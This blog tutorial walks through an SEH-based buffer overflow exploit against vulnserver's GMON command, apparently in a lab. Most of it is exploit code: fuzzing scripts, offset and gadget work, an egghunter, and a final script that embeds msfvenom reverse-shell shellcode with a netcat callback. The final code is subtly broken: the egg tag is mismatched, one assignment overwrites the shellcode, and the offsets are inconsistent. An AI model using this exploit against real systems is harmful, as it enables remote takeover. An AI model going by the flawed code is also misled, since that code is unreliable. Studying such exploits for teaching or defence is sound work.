Buffer overflow exploitation (SEH based Overflows)

Introduction

In the previous post, I wrote about finding and exploiting simple stack buffer overflow (or direct EIP overwrite) on a vulnerable application.
This post about finding and exploiting SEH based overflows on the same application. Before diving into a practical example lets go through some SEH theories.

Structured Exception Handling (SEH)

Structured Exception Handling (SEH) is a Windows feature that handles application errors (exceptions). Those who are coming from a programming background are already very familiar with this feature. SEH is Microsoft specific exception handling, and it is made available primarily through compiler support.

Most programming and scripting languages have similar constructs for handling exceptions like the below example.

__try 
{
   // guarded code
}
__except ( expression )
{
   // exception handler code
}

EXCEPTION_POINTERS structure

typedef struct _EXCEPTION_POINTERS {
  PEXCEPTION_RECORD ExceptionRecord;
  PCONTEXT          ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

The _EXCEPTION_REGISTRATION structure has two components:

  • A pointer to an exception handler function
  • A pointer to the previous _EXCEPTION_REGISTRATION record

The SEH chain:

  • The address of the first record is always stored at the address pointed to by the FS register (FS:[O])
  • The chain ends when the OS encounters OxFFFFFFFF, windows place a generic exception handler at the end.

Abusing the SEH

Stack-based buffer overflows work by overwriting the return address in the stack, SEH overwrites work by overwriting the Handler attribute of an exception registration record that has been stored on the stack.
Now that you have an idea of how Windows SEH works, let’s find and exploit an SEH overflow vulnerability.

Fuzzing

To begin the exploit development process, I ‘ll use a simple script to send some junk to the application. This time we are fuzzing the GMON function of this application, which is vulnerable to SEH overflow. Below is a basic Python script that will be leveraged to build the exploit

#!/usr/bin/python

import socket

host="192.16.196.128"
port=9999
buffer = "A" * 5000

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
	print ("Sending buffer...")
	print s.recv(1024)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)
     

Run the fuzzing script against our target, and monitor from immunity debugger.

click image to enlarge

Our buffer crash the application, this time it did not overwrite the instruction pointer but raised an exception.

Use Shift+F9 to pass the exception and eventually, it will overwrite the instruction pointer with 4141414

If you look at down to stack we see it overwrite the SE handler and pointer to next SEH record with our buffer. We can verify this by going to Immunity debugger -> view -> SEH chain.

So what happened here was program tried to execute 0x41414141 which is the equivalent of AAAA. Since the SEH value was 0x41414141, upon passing the exception to the program, the execution was moved to 0x41414141 and it crashed as the program does not know what to do because at that address there is no valid function

Great we have successfully overwritten SEH, now let’s find the offset, the exact amount of characters we need to reach exception handler record to overwrite it precisely. let’s modify our buffer and send the unique pattern created with the Metasploit create_pattern tool. This time instead of “A’s” we are sending a unique buffer.

#!/usr/bin/python

import socket

host="192.168.196.128"
port=9999

buffer = "GMON /.:/" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9"
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))
	s.send(buffer)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)

As expected our SEH handler is now overwritten with 0x326e4531 rather than 41414141. Using !mona findmsp command we can find the offset.

After 3515 bytes we overwrite nSEH and SEH overwrite after 3511 bytes (3515-4). let’s confirm this, if everything goes as our plan we will see next SEH handler overwritten with 42424242 (4 * B) and 43434343 will be SEH.

Let’s modify the script with our buffer and send

#!/usr/bin/python

import socket

host="192.168.196.128"
port=9999

nSEH = "BBBB"
SEH = "CCCC"
buffer = "A"*3515
buffer += nSEH
buffer += SEH
buffer += "D"*(5000-len(buffer))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
	print ("Sending buffer...")
	print s.recv(1024)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)

Now we are able to overwrite the nSEH value and the SEH value, so we control Instruction Pointer via the SEH value. Now we should be able to execute malicious code from our nSEH value.
But unfortunately, we can’t use a simple JMP ESP like we used in basic StackOverflow exploit. In order to create SEH exploits, we need to find the POP POP RET sequence. If you want to find more about POP POP RET please read this great article by Dimimitrios here

Finding POP POP RET Gadget

We now need to find POP POP RET gadgets to redirect program execution from the SEH to the nSEH. We can use !mona seh command to do this. Looking at the loaded modules, we can only find the essfunc.dll and vulnserver.exe without bad chars and rebase flag. We are only interested in application-specific DLL here.

!mona seh -m essfunc.dll -cpb '\x00'

After choosing one of the available addresses (\xB4\x10\x50\x62), update the exploit. Remember that due to endianness, we have to write addresses in reverse order. Let’s run the exploit again and observe from the debugger.

#!/usr/bin/python

import socket

host = "192.168.196.128"
port = 9999

nSEH = "BBBB"
SEH = "\xB4\x10\x50\x62"    #625010B4 POP-POP-RET from essfunc.dll
buffer = "A"*3515
buffer += nSEH
buffer += SEH
buffer += "C"*(5000-len(buffer))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
        print ("Sending buffer...")
	print s.recv(1024)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)

Modify the exploit and re-send it.

As expected SEH was overwritten with the address of the POP POP RET instructions from essfunc.dll. Set a breakpoint on 017AFFC4 (essfunc.dll) using F2.

The program throws an exception, now use Shift+F9 to pass the exception to the program, which will continue to the SEH address, and hit our breakpoint and pause program execution. Now use F7 to step through the “POP POP RETN” commands and hit our four B’s, and then our C’s buffer.

Right-click the address and follow the dump

Jumping to Shellcode

We are inside the 4 B’s ( INC EDX x4) from nSEH variable. This 4 “B” is 4 bytes apart from the current SEH value.
It is not possible to place a shellcode inside 4 bytes, we can work with this 4 bytes to jump into “C” buffer but still not large enough to hold a shellcode. We can use C buffer to jump back to the stack where we have more room for shellcode.
This is where things start getting really interesting. I tried to do a backward jump and land in our A’s buffer but I could not figure it out. This one is more challenging than I expected because of the limited space for shellcode.

So I decide to use another technique called “Egghunter” which is a fairly straight forward technique to use when you don’t have enough space for shellcode.

Egg Hunter

Egg hunter is a small piece of shellcode that searches for an actual bigger shellcode in which the attacker was not able to fit in the available buffer space and redirect execution flow to it. As the egg hunter code executes, it hunts for the EGG in all the memory locations and executes shellcode which is next to EGGS in our case. If you are interested in how egghunters works check this paper by Skape.

Before using the egghunter, first, we need to calculate the offset before the egghunter code.
offset 3151 bytes
Backward JMP 2 bytes
Backward JMP 50 bytes
3151+2-50 = 3467

Egghunter shellcodes can be found on the internet, depend on the OS version you are trying to exploit. For this I will be using !mona plugin for immunity debugger.Let’s generate an egghunter with !mona using the following command

 !mona egg -t EGGS

The -t option specifies the marker tag which will be later referenced by the egghunter shellcode to find the second stage payload.

#!/usr/bin/python
import socket

host = "192.168.196.128"
port = 9999

nSEH = "\xeb\xCE\x90\x90"  #jump back 50 byte backward
SEH = "\xB4\x10\x50\x62"    #625010B4 POP-POP-RET from essfunc.dll

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x45\x47\x47\x53\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = "A"* 3467
buffer += egghunter
buffer += "A"*(3515-len(buffer))
buffer += nSEH
buffer += SEH
buffer += "C"*(5000-len(buffer))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
	print("Sending buffer...")
	print s.recv(1024)
	s.close())
except socket.error, e:
    print("Could not connect : %s" % e)

Running the above script, the program will stop and raise an exception. Pass program exception and press F7 to go through and everything worked perfectly, the current instruction pointed to the start of the egg hunter. We can see our string “EGGS” from the hex dump.

Great, now we just need to generate shellcode and insert it to our exploit code. Just like last time we are going to use a reverse shell. Start Netcat listener on port 443 and fire up the exploit, you should receive a connection from the victim machine.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.196.128 LPORT=443 -f python -b '\x00':

Full Exploit code.

#!/usr/bin/python

import socket

host = "192.168.196.128"
port = 9999

nSeh = "\xeb\xCE\x90\x90"  #jump back 50 byte backward
Seh = "\xB4\x10\x50\x62"     #625010B4 POP-POP-RET from essfunc.dll

# EGGS
# Size: 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x45\x47\x47\x48\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

shellcode = ("\xda\xd4\xd9\x74\x24\xf4\x58\xbb\xf0\xe6\xb6\x1b\x29\xc9\xb1"
"\x52\x31\x58\x17\x03\x58\x17\x83\x30\xe2\x54\xee\x4c\x03\x1a"
"\x11\xac\xd4\x7b\x9b\x49\xe5\xbb\xff\x1a\x56\x0c\x8b\x4e\x5b"
"\xe7\xd9\x7a\xe8\x85\xf5\x8d\x59\x23\x20\xa0\x5a\x18\x10\xa3"
"\xd8\x63\x45\x03\xe0\xab\x98\x42\x25\xd1\x51\x16\xfe\x9d\xc4"
"\x86\x8b\xe8\xd4\x2d\xc7\xfd\x5c\xd2\x90\xfc\x4d\x45\xaa\xa6"
"\x4d\x64\x7f\xd3\xc7\x7e\x9c\xde\x9e\xf5\x56\x94\x20\xdf\xa6"
"\x55\x8e\x1e\x07\xa4\xce\x67\xa0\x57\xa5\x91\xd2\xea\xbe\x66"
"\xa8\x30\x4a\x7c\x0a\xb2\xec\x58\xaa\x17\x6a\x2b\xa0\xdc\xf8"
"\x73\xa5\xe3\x2d\x08\xd1\x68\xd0\xde\x53\x2a\xf7\xfa\x38\xe8"
"\x96\x5b\xe5\x5f\xa6\xbb\x46\x3f\x02\xb0\x6b\x54\x3f\x9b\xe3"
"\x99\x72\x23\xf4\xb5\x05\x50\xc6\x1a\xbe\xfe\x6a\xd2\x18\xf9"
"\x8d\xc9\xdd\x95\x73\xf2\x1d\xbc\xb7\xa6\x4d\xd6\x1e\xc7\x05"
"\x26\x9e\x12\x89\x76\x30\xcd\x6a\x26\xf0\xbd\x02\x2c\xff\xe2"
"\x33\x4f\xd5\x8a\xde\xaa\xbe\x74\xb6\xb5\xef\x1d\xc5\xb5\x0e"
"\x65\x40\x53\x7a\x89\x05\xcc\x13\x30\x0c\x86\x82\xbd\x9a\xe3"
"\x85\x36\x29\x14\x4b\xbf\x44\x06\x3c\x4f\x13\x74\xeb\x50\x89"
"\x10\x77\xc2\x56\xe0\xfe\xff\xc0\xb7\x57\x31\x19\x5d\x4a\x68"
"\xb3\x43\x97\xec\xfc\xc7\x4c\xcd\x03\xc6\x01\x69\x20\xd8\xdf"
"\x72\x6c\x8c\x8f\x24\x3a\x7a\x76\x9f\x8c\xd4\x20\x4c\x47\xb0"
"\xb5\xbe\x58\xc6\xb9\xea\x2e\x26\x0b\x43\x77\x59\xa4\x03\x7f"
"\x22\xd8\xb3\x80\xf9\x58\xc3\xca\xa3\xc9\x4c\x93\x36\x48\x11"
"\x24\xed\x8f\x2c\xa7\x07\x70\xcb\xb7\x62\x75\x97\x7f\x9f\x07"
"\x88\x15\x9f\xb4\xa9\x3f")


buffer = "EGGSEGGS"
buffer += shellcode
buffer = "A"* (3467-len(buffer))
buffer += egghunter
buffer += "A"*(3515-len(buffer))
buffer += nSeh
buffer += Seh
buffer += "C"*(5000-len(buffer))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
	print s.recv(1024)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)

Conclusion

This was a challenging one, I had lot of trouble finding correct offsets, getting reverse shell working and putting everything together. I hope that this was informative, and you learned something along the way. Happy hacking until next time.

Reference:
https://thestarman.pcministry.com/asm/2bytejumps.htm
http://www.hick.org/code/skape/papers/win32-shellcode.pdf
https://web.archive.org/web/20061010194043/http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
https://docs.microsoft.com/en-us/cpp/cpp/structured-exception-handling-c-cpp?view=vs-2019
https://docs.microsoft.com/en-us/windows/win32/debug/structured-exception-handling

All code for this post available from my GitHub repo https://github.com/d3b4g/WindowsExploit-dev